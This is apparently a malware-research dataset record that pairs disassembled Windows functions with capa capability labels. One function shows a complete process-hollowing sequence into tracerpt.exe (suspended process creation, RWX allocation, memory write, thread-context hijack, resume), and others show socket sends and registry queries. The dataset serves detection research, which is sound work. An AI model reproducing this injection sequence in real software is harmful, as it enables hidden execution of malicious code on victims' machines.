joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x10004038
lea edi, [esi + 0x15c]
push edi
call fcn.10002b80
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x10003f88
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x10004032
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.10004150
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10003fc3
cmp dword [esi + 0x3c], 0
je 0x10003fbc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x10018420
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x10003feb
mov edx, dword [esi + 0x48]
push edx
call fcn.10007ee0
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10004000
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x10004022
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.10004050
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10004420
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov word [esi + 0x28], 0xca
cmp ecx, 3
je 0x10004480
mov eax, esi
call fcn.10003f50
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.100034e0
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100044d9
cmp eax, 0x102
je 0x100044c5
cmp eax, 0xffffffff
jne 0x100044ce
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x10004520
push 0
push 0
call fcn.10008c9b
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005820
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x1001a1b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1001d6dc]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.1000e280
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.1000e280
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.1000e280
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.100059e0
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000590b
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.100059e0
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10005940
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008295
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x100059ac
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100059ac
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x100059ac
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x100059bd
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008295
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.10008295
mov esp, ebp
pop ebp
ret
Function at 0x10005dc0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x1001e994], 0
jne 0x100060bf
push esi
push str.0:mh0:xl0:db0:lk0:hs1:ld1:ll0:hb0:pj71.7_.4202:zb0.1:bb
mov byte [0x1001e994], 1
call fcn.10008fff
push 0x12a0
push 0
push 0x1001d6e0
call fcn.1000e280
push 0
push 0x1001d6fe
push 0x100185cc
call fcn.10005cf0
push 0
push 0x1001d8fc
push 0x100185d4
call fcn.10005cf0
push 0x1001d938
push 0
push 0x100185dc
call fcn.10005cf0
push 0
push 0x1001d93c
push 0x100185e4
call fcn.10005cf0
add esp, 0x40
push 0
push 0x1001db3a
push 0x100185ec
call fcn.10005cf0
push 0x1001db78
push 0
push 0x100185f4
call fcn.10005cf0
push 0
push 0x1001db7c
push 0x100185fc
call fcn.10005cf0
push 0
push 0x1001dd7a
push 0x10018604
call fcn.10005cf0
push 0x1001ddb8
push 0
push 0x1001860c
call fcn.10005cf0
push 0
push 0x1001ddbc
push 0x10018614
call fcn.10005cf0
add esp, 0x48
push 0
push 0x1001ddf8
push 0x1001861c
call fcn.10005cf0
push 0
push 0x1001de34
push 0x10018624
call fcn.10005cf0
push 0
push 0x1001de98
push 0x1001862c
call fcn.10005cf0
push 0
push 0x1001defc
push 0x10018634
call fcn.10005cf0
push 0x1001df60
push 0
push 0x1001863c
call fcn.10005cf0
push 0x1001df64
push 0
push 0x10018644
call fcn.10005cf0
add esp, 0x48
push 0x1001df68
push 0
push 0x1001864c
call fcn.10005cf0
push 0x1001df6c
push 0
push 0x10018654
call fcn.10005cf0
push 0x1001df70
push 0
push 0x1001865c
call fcn.10005cf0
push 0x1001df74
push 0
push 0x10018664
call fcn.10005cf0
push 0x1001df78
push 0
push 0x1001866c
call fcn.10005cf0
push 0x1001df7c
push 0
push 0x10018674
call fcn.10005cf0
add esp, 0x48
push 0x1001df80
push 0
push 0x1001867c
call fcn.10005cf0
push 0x1001df84
push 0
push 0x10018684
call fcn.10005cf0
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push connect
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10005fe7
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
cmp dword [ebp - 4], 0xa
jbe 0x100060be
push 0x7d0
push 0
push str.0:mh0:xl0:db0:lk0:hs1:ld1:ll0:hb0:pj71.7_.4202:zb0.1:bb
call fcn.1000e280
mov eax, dword [ebp - 0xc]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push str.0:mh0:xl0:db0:lk0:hs1:ld1:ll0:hb0:pj71.7_.4202:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
push 0
push 0x1001d6fe
push 0x100185cc
call fcn.10005cf0
push 0
push 0x1001d8fc
push 0x100185d4
call fcn.10005cf0
push 0x1001d938
push 0
push 0x100185dc
call fcn.10005cf0
push 0
push 0x1001d93c
push 0x100185e4
call fcn.10005cf0
push 0
push 0x1001db3a
push 0x100185ec
call fcn.10005cf0
push 0x1001db78
push 0
push 0x100185f4
call fcn.10005cf0
add esp, 0x48
push 0
push 0x1001db7c
push 0x100185fc
call fcn.10005cf0
push 0
push 0x1001dd7a
push 0x10018604
call fcn.10005cf0
push 0x1001ddb8
push 0
push 0x1001860c
call fcn.10005cf0
add esp, 0x24
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007c80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10007cd2
cmp dword [0x1001e980], eax
jne 0x10007cd2
push str.0:mh0:xl0:db0:lk0:hs1:ld1:ll0:hb0:pj71.7_.4202:zb0.1:bb
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x1e
jle 0x10007cd2
call fcn.10005dc0
cmp dword [0x1001df70], 0
je 0x10007cd2
push 0
push 0
push 0
push 0x100079f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001e980], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x10007ce0
Capabilities:
Create thread

Disassembly:
cmp dword [0x1001e980], 0
jne 0x10007d1d
call fcn.10005dc0
push 0
push 0
push 0
push 0x100079f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001e980], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1001e980]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret

Function at 0x10007d20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x1001e980], 0
jne 0x10007d80
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push esi
push str.0:mh0:xl0:db0:lk0:hs1:ld1:ll0:hb0:pj71.7_.4202:zb0.1:bb
call fcn.1000e300
add esp, 0xc
call fcn.10005dc0
push 0
push 0
push 0
push 0x100079f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001e980], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x1001e980]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
ret

Function at 0x10007d90
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100079f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001e980], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
ret

Function at 0x10008295
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001a1b0]
jne 0x1000829f
repz ret
jmp fcn.10009302
Function at 0x1000df6f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001a1b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000b1d5
and dword [ebp - 0x14], 0
cmp dword [0x1001c7fc], 0
mov dword [ebp - 0x18], eax
jne 0x1000e022
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000e0ca
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000e0ca
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1001c7fc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1001c800], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1001c804], eax
call edi
push eax
call esi
mov dword [0x1001c80c], eax
test eax, eax
je 0x1000e022
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1001c808], eax
mov eax, dword [0x1001c808]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000e07b
cmp dword [0x1001c80c], ecx
je 0x1000e07b
push eax
call esi
push dword [0x1001c80c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000e07b
test ebx, ebx
je 0x1000e07b
call edi
test eax, eax
je 0x1000e072
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000e072
test byte [ebp - 8], 1
jne 0x1000e07b
or dword [ebp + 0x10], 0x200000
jmp 0x1000e0ae
mov eax, dword [0x1001c800]
cmp eax, dword [ebp - 0x18]
je 0x1000e0ae
push eax
call esi
test eax, eax
je 0x1000e0ae
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000e0ae
mov eax, dword [0x1001c804]
cmp eax, dword [ebp - 0x18]
je 0x1000e0ae
push eax
call esi
test eax, eax
je 0x1000e0ae
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1001c7fc]
call esi
test eax, eax
je 0x1000e0ca
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000e0cc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008295
leave
ret
Function at 0x107d3000
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov al, byte [0x107be158]
test eax, eax
je 0x107d301d
mov cl, byte [0x107be608]
or cl, 1
mov byte [0x107be608], cl
cmp dword [0x107be130], 0
je 0x107d3035
mov dl, byte [0x107be608]
or dl, 8
mov byte [0x107be608], dl
xor eax, eax
mov al, byte [0x107be608]
test eax, eax
je 0x107d309f
cmp dword [0x107be13c], 0
je 0x107d3059
push 0x107c0dfc
push 0x107c0e00
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, dword [0x107cd454]
push ecx
mov dl, byte [0x107be608]
push edx
push 0x107be3b0
push 0x107be158
mov eax, dword [0x107be140]
push eax
mov ecx, dword [0x107be13c]
push ecx
mov edx, dword [0x107be138]
push edx
mov eax, dword [0x107be134]
push eax
mov ecx, dword [0x107be130]
push ecx
push 0x107be128
call fcn.107d6498
add esp, 0x28
pop ebp
ret
Function at 0x107d475f
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov word [ebp - 8], 0
call fcn.107d5a78
mov word [ebp - 4], ax
cmp dword [0x107cd570], 0
je 0x107d4789
mov dword [0x107cdb44], 0
jmp 0x107d4793
mov dword [0x107cdb44], 1
cmp dword [0x107cdb44], 0
je 0x107d4993
cmp dword [0x107c0df8], 1
je 0x107d47ba
mov eax, dword [0x107c0df4]
cmp eax, dword [0x107c0df0]
jne 0x107d492c
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 5
idiv ecx
add edx, 1
mov dword [0x107c0df0], edx
mov dword [0x107c0df4], 1
mov edx, dword [0x107cf818]
and edx, 0x1f3
mov dword [0x107cd550], edx
mov eax, dword [0x107cd550]
mov ecx, dword [eax*4 + 0x107bd010]
xor ecx, 0xfd0699d6
mov dword [0x107cd540], ecx
mov dword [0x107cd544], 0
push 4
push 0
push 0x107cd544
push 0x107cd540
movzx dx, byte [0x107bd00d]
push edx
push 0x107cd6ac
call fcn.107d7480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x107d4876
mov ecx, dword [0x107cd544]
xor ecx, 0x7b2309a7
mov edx, dword [0x107cd550]
xor ecx, dword [edx*4 + 0x107bd7e0]
test ecx, ecx
je 0x107d4920
xor eax, eax
mov al, byte [0x107bff6a]
cmp eax, 0x31
jne 0x107d4888
mov word [ebp - 4], 3
xor ecx, ecx
mov cl, byte [0x107bff6a]
cmp ecx, 0x32
je 0x107d48a2
xor edx, edx
mov dl, byte [0x107bff6a]
cmp edx, 0x33
jne 0x107d48a8
mov word [ebp - 4], 0
mov dword [0x107c0df8], 1
cmp dword [0x107cd594], 0
jne 0x107d491e
xor eax, eax
mov al, byte [0x107bff6a]
cmp eax, 0x32
je 0x107d48d4
xor ecx, ecx
mov cl, byte [0x107bff6a]
cmp ecx, 0x33
jne 0x107d491e
mov edx, dword [0x107cd69c]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [0x107cd54c], 0xc
push 0x2010
call fcn.107d30a1
push eax
call fcn.107d58db
add esp, 8
mov dword [0x107cd54c], 0
mov eax, dword [0x107cd69c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [0x107cd594], 1
jmp 0x107d492a
mov dword [0x107c0df8], 0
jmp 0x107d4991
mov ecx, dword [0x107c0df4]
add ecx, 1
mov dword [0x107c0df4], ecx
mov edx, dword [0x107cf818]
mov dword [0x107cd540], edx
mov dword [0x107cd544], 0
push 4
push 0
push 0x107cd544
push 0x107cd540
push 0
push 0x107cd6ac
call fcn.107d7480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x107d498b
mov ecx, dword [0x107cd544]
xor ecx, dword [0x107cf818]
test ecx, ecx
je 0x107d4991
mov word [ebp - 4], 3
jmp 0x107d49f7
mov edx, dword [0x107c0df4]
add edx, 1
mov dword [0x107c0df4], edx
mov eax, dword [0x107cf818]
mov dword [0x107cd540], eax
mov dword [0x107cd544], 0
push 4
push 0
push 0x107cd544
push 0x107cd540
push 0
push 0x107cd6ac
call fcn.107d7480
mov word [ebp - 4], ax
mov ecx, dword [ebp - 4]
and ecx, 0xffff
test ecx, ecx
jne 0x107d49f1
mov edx, dword [0x107cd544]
xor edx, dword [0x107cf818]
test edx, edx
je 0x107d49f7
mov word [ebp - 4], 3
mov ax, word [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x107d4ec1
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x107cf800
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x64
jge 0x107d4f3e
mov eax, dword [ebp - 8]
cmp dword [eax*4 + 0x107cf820], 0
je 0x107d4f2d
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x107cf820]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x107d4f2d
cmp dword [ebp - 4], 0x103
je 0x107d4f2d
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x107cf820]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [eax*4 + 0x107cf820], 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.107d5116
add esp, 4
mov dword [ebp - 8], eax
jmp 0x107d4ed9
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x64
jge 0x107d4f7a
mov edx, dword [ebp - 8]
cmp dword [edx*4 + 0x107cf820], 0
je 0x107d4f69
mov eax, dword [ebp - 8]
mov ecx, dword [eax*4 + 0x107cf820]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [ebp - 8]
push edx
call fcn.107d5116
add esp, 4
mov dword [ebp - 8], eax
jmp 0x107d4f45
mov esp, ebp
pop ebp
ret

Function at 0x107d4f7e
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x64
jge 0x107d4fbe
mov eax, dword [ebp - 4]
cmp dword [eax*4 + 0x107cf820], 0
je 0x107d4fad
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x107cf820]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 4]
push eax
call fcn.107d5116
add esp, 4
mov dword [ebp - 4], eax
jmp 0x107d4f89
push 0x107cf800
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esp, ebp
pop ebp
ret

Function at 0x107d6cf0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
pop edi
je 0x107d6d65
mov eax, dword [esp + 0x10]
mov ecx, 2
sub eax, ecx
je 0x107d6d3c
mov word [0x107cdb50], cx
call fcn.107d91a0
add esp, 0x94
ret
cmp dword [esp + 4], 5
jne 0x107d6d29
mov edx, dword [esp + 8]
mov eax, 1
cmp edx, eax
jb 0x107d6d29
mov word [0x107cdb50], ax
call fcn.107d6a40
call fcn.107d6bd0
call fcn.107d91a0
add esp, 0x94
ret
Function at 0x107d7a40
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push ebp
push esi
push edi
xor ebp, ebp
call fcn.107e3160
test eax, eax
jne 0x107d7a70
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push eax
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
jne 0x107d7a85
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
mov edx, dword [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x107d7ac9
mov edi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
push esi
call ebx
test eax, eax
je 0x107d7aa9
cmp eax, 0x102
jne 0x107d7ab6
mov eax, dword [esp + 0x24]
inc ebp
cmp ebp, eax
jg 0x107d7ac0
jmp 0x107d7a8f
mov eax, dword [esp + 0x1c]
pop edi
mov dword [eax], esi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 0x73
pop ebx
ret
push esi
call fcn.107d7b40
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x107d7ae0
Capabilities:
Check mutex on windows

Disassembly:
push esi
call fcn.107e3160
test eax, eax
jne 0x107d7af8
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push eax
push 0
push ecx
jmp 0x107d7b01
mov edx, dword [esp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
jne 0x107d7b14
mov eax, 1
pop esi
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x107d7b2b
mov eax, dword [esp + 0x10]
mov dword [eax], esi
xor eax, eax
pop esi
ret
mov eax, 0x73
pop esi
ret
Function at 0x107db380
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x208
push ebx
mov bx, word [esp + 0x220]
neg bx
push ebp
mov ebp, dword [esp + 0x21c]
sbb ebx, ebx
push esi
mov al, byte [ebp]
and ebx, 0xfffffffe
add ebx, 4
push edi
test al, al
je 0x107db3ce
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x107cc504
mov byte [ebp], 0
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
test eax, eax
je 0x107db3f6
jbe 0x107db3f6
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [esp + 0x14], eax
jmp 0x107db3fe
mov dword [esp + 0x14], 0xa
mov ecx, dword [esp + 0x21c]
cmp word [ecx + 0x74], 4
jne 0x107db411
mov ebx, 2
mov edx, dword [esp + 0x228]
mov ecx, 0x55
xor eax, eax
lea edi, [esp + 0xc4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
push edx
mov edx, dword [esp + 0x224]
lea ecx, [esp + 0xc8]
push eax
push ecx
push edx
push ebx
call fcn.107dfc20
test ax, ax
jne 0x107db586
cmp word [esp + 0x14], ax
mov dword [esp + 0x10], 0x46
mov dword [esp + 0x1c], 0
jbe 0x107db59b
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
lea esi, [esp + 0xc4]
mov dword [esp + 0x18], esi
cmp word [esi + 0x20], 0
jbe 0x107db560
mov ecx, 0x10
xor eax, eax
mov edi, ebp
push 0x107cc4e4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x64]
push eax
call ebx
mov ecx, dword [esp + 0x224]
push esi
push ecx
call fcn.107da850
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0x107cc4e4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea eax, [esp + 0x74]
mov edx, ecx
mov esi, edi
mov edi, ebp
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
lea ecx, [esp + 0x78]
push 0x107cc4e4
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
lea edx, [esp + 0x40]
push 0x107cb6d0
push edx
call esi
add esp, 0x28
test eax, eax
je 0x107db50c
lea eax, [esp + 0x20]
push 0x107cb704
push eax
call esi
add esp, 8
test eax, eax
jne 0x107db51b
push 0x107cb6c0
push ebp
call esi
add esp, 8
test eax, eax
je 0x107db55c
mov ecx, dword [esp + 0x22c]
mov edx, dword [esp + 0x228]
mov eax, dword [esp + 0x220]
push ecx
mov ecx, dword [esp + 0x220]
push edx
push ebp
push eax
push ecx
call fcn.107dacd0
add esp, 0x14
mov dword [esp + 0x10], eax
test ax, ax
je 0x107db582
lea edx, [esp + 0x60]
push 0x107cc4e4
push edx
call ebx
add esp, 8
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
inc eax
and ecx, 0xffff
add esi, 0x22
cmp eax, ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], esi
jl 0x107db479
mov eax, dword [esp + 0x10]
cmp ax, 0x45
jne 0x107db59f
pop edi
pop esi
pop ebp
mov ax, 3
pop ebx
add esp, 0x208
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret